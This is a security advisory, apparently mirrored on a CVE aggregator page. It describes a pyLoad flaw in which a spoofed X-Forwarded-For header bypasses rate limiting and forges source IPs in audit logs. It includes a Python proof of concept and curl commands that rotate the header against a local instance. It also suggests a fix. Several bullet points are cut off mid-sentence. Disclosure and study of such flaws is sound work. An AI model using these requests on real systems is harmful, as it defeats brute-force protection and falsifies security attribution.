GHSA-9Q47-3CM2-2RP8
pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-9Q47-3CM2-2RP8 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
pyLoad determines the "client IP" used for its rate-limiting decorator and for its
security/audit logging by reading the client-supplied `X-Forwarded-For` (XFF) HTTP header and
taking the leftmost value. No trusted-proxy configuration exists (the Cheroot WSGI server faces
clients directly, and there is no `ProxyFix` middleware). Because any client can freely set this
header, an attacker can (1) completely bypass rate limiting by rotating the header on each request,
and (2) forge the source IP recorded in security logs for login and API-key authentication
failures, defeating IP-based blocking (e.g. fail2ban) and poisoning attribution.
Severity
Medium — CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` (~5.3)
- CWE-807: Reliance on Untrusted Inputs in a Security Decision
- CWE-290: Authentication Bypass by Spoofing
- CWE-348: Use of Less Trusted Source
Affected Version
pyLoad 0.5.0b3 (built from the `develop` branch). Confirmed still present and exploitable in the
later `pyload-develop-2` snapshot (the affected files are byte-identical between the two; the
`develop-2` changes only touched the unrelated API-key cache).
Affected Component
Web UI request handling — client-IP derivation used by rate limiting and security logging.
- `src/pyload/webui/app/helpers.py:446` — inside the `rate_limit()` decorator; derives the per-IP
- `src/pyload/webui/app/helpers.py:357` — API-key authentication success/failure logging.
- `src/pyload/webui/app/blueprints/app_blueprint.py:81` — web login success/failure logging.
- `src/pyload/webui/webserver_thread.py` — Cheroot serves the Flask app directly; no reverse-proxy
- Consumer: `src/pyload/webui/app/blueprints/api_blueprint.py:25` applies
Description:
All three locations derive the client IP with the identical expression:
client_ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() or flask.request.remote_addr`X-Forwarded-For` is an HTTP request header fully controlled by the client. The code takes
`split(",")[0]` — the leftmost token — which is always the value supplied by the *original client*
(a proxy appends its own value to the right). Only when the header is entirely absent does the code
fall back to `request.remote_addr` (the real TCP peer). There is no configured trusted-proxy count,
and pyLoad's server (Cheroot) terminates client connections directly, so `remote_addr` is the true
peer and the XFF value is untrusted attacker input.
Two security decisions are made on this untrusted value:
- Rate limiting (`rate_limit()`): the decorator keeps `request_history[client_ip]` and enforces
- Audit logging: login-failure and API-auth-failure log lines embed `[CLIENT: {client_ip}]` using
Notably, the codebase is internally inconsistent: `is_loopback_request()` (helpers.py:288) treats
the *presence* of `X-Forwarded-For` / `X-Real-IP` / `Forwarded` as a reason to *distrust* an
apparent loopback source, while the rate-limit and logging paths naively trust the same header —
indicating the trust here is unintended.
Proof of Concept
The `rate_limit()` decorator's actual source (bytes read from
`pyload-develop-2/src/pyload/webui/app/helpers.py`, lines 416–514) was executed under a real Flask
test client. Rate limit set to 5/60s for brevity (identical logic to the production 100/min):
import ast, math, time
from functools import wraps
import flask
HELPERS = ".../pyload-develop-2/src/pyload/webui/app/helpers.py"
src = open(HELPERS).read()
node = next(n for n in ast.parse(src).body
if isinstance(n, ast.FunctionDef) and n.name == "rate_limit")
ns = {"flask": flask, "time": time, "math": math, "wraps": wraps}
exec(compile(ast.get_source_segment(src, node), HELPERS, "exec"), ns)
rate_limit = ns["rate_limit"]
def build_app():
app = flask.Flask(__name__)
@app.route("/api/ping")
@rate_limit(count=5, period=60)
def ping():
return flask.json.jsonify({"ok": True})
return app
def run(hdr):
app = build_app()
with app.test_client() as c:
return [c.get("/api/ping", headers=hdr(i)).status_code for i in range(8)]
print("FIXED XFF:", run(lambda i: {"X-Forwarded-For": "203.0.113.9"}))
print("ROTATE XFF:", run(lambda i: {"X-Forwarded-For": f"10.0.0.{i}"}))Output:
FIXED XFF: [200, 200, 200, 200, 200, 429, 429, 429] # limit enforced
ROTATE XFF: [200, 200, 200, 200, 200, 200, 200, 200] # 0x 429 -> limit bypassed
# server log during FIXED run:
# WARNING in helpers: Rate limit exceeded for IP 203.0.113.9: 5 requests in 60 (limit: 5/60)Derivation check (XFF present, real peer is loopback):
# request with header X-Forwarded-For: 8.8.8.8 and REMOTE_ADDR 127.0.0.1
client_ip = request.headers.get("X-Forwarded-For","").split(",")[0].strip() or request.remote_addr
# -> client_ip == "8.8.8.8" (the spoofed value wins over the real remote_addr)Equivalent against a live instance:
# Rate limit never trips regardless of volume:
for i in $(seq 1 500); do
curl -s -o /dev/null -H "X-API-Key: pl_1<valid-key>" \
-H "X-Forwarded-For: 10.0.0.$((RANDOM%255))" \
http://127.0.0.1:8000/api/get_server_version
done # no HTTP 429 is ever returned
# Forged source IP in the audit log:
curl -s -o /dev/null -H "X-Forwarded-For: 8.8.8.8" \
--data 'username=admin&password=wrong' http://127.0.0.1:8000/login
# server log: Login failed for user 'admin' using Web Client [CLIENT: 8.8.8.8]Steps To Reproduce
- Start a pyLoad instance directly exposed (no reverse proxy), as in a default deployment.
- Obtain any valid API key (or use the login endpoint) so requests reach the rate-limited /
- Send more than the configured limit of requests to a `@rate_limit`-protected endpoint (e.g.
- Control: repeat step 3 with a fixed `X-Forwarded-For` value; observe `429` after the limit,
- Send a failed login (or failed API-key request) with `X-Forwarded-For: 8.8.8.8` and inspect the
Impact
- Rate limiting on the authenticated API (`/api/<func>`, 100/min) and any other
- Security/audit logs cannot be trusted for source attribution. An attacker can stamp every
- Amplifies other authentication weaknesses (e.g. the absence of throttling on `/login`), since
Root Causes
- A client-controlled HTTP header (`X-Forwarded-For`) is used directly in security decisions
- The leftmost XFF token is selected, which is always the value supplied by the original client;
- No `ProxyFix` / trusted-proxy-hop configuration exists, and the server terminates client
- Inconsistent handling across the codebase (loopback checks distrust these headers while
Suggested Fix
- By default, use `request.remote_addr` (the real TCP peer) for rate limiting and logging; do not
- Add an explicit, operator-configured trusted-proxy count (default 0 = trust none). When set,
- Derive the trusted client IP once in a single helper and use it consistently for rate limiting,
- Consider defense-in-depth: cap the number of distinct rate-limit buckets and/or additionally
Invariant to restore: security decisions and audit attribution must be based on a connection-level
or trusted-proxy-validated address, never on a raw client-supplied header.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Versiones afectadas
0.5.0b3.dev101Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypipyload-ng |
Sin parche | — | — | 0.5.0b3.dev102 no afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/pyload/pyload/security/advisories/GHSA-9q47-3cm2-2rp8https://github.com/pyload/pyload/commit/5dc6b628e2d8b9f42dde82f396e5b7a2b513f6d1https://github.com/pyload/pyloadLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
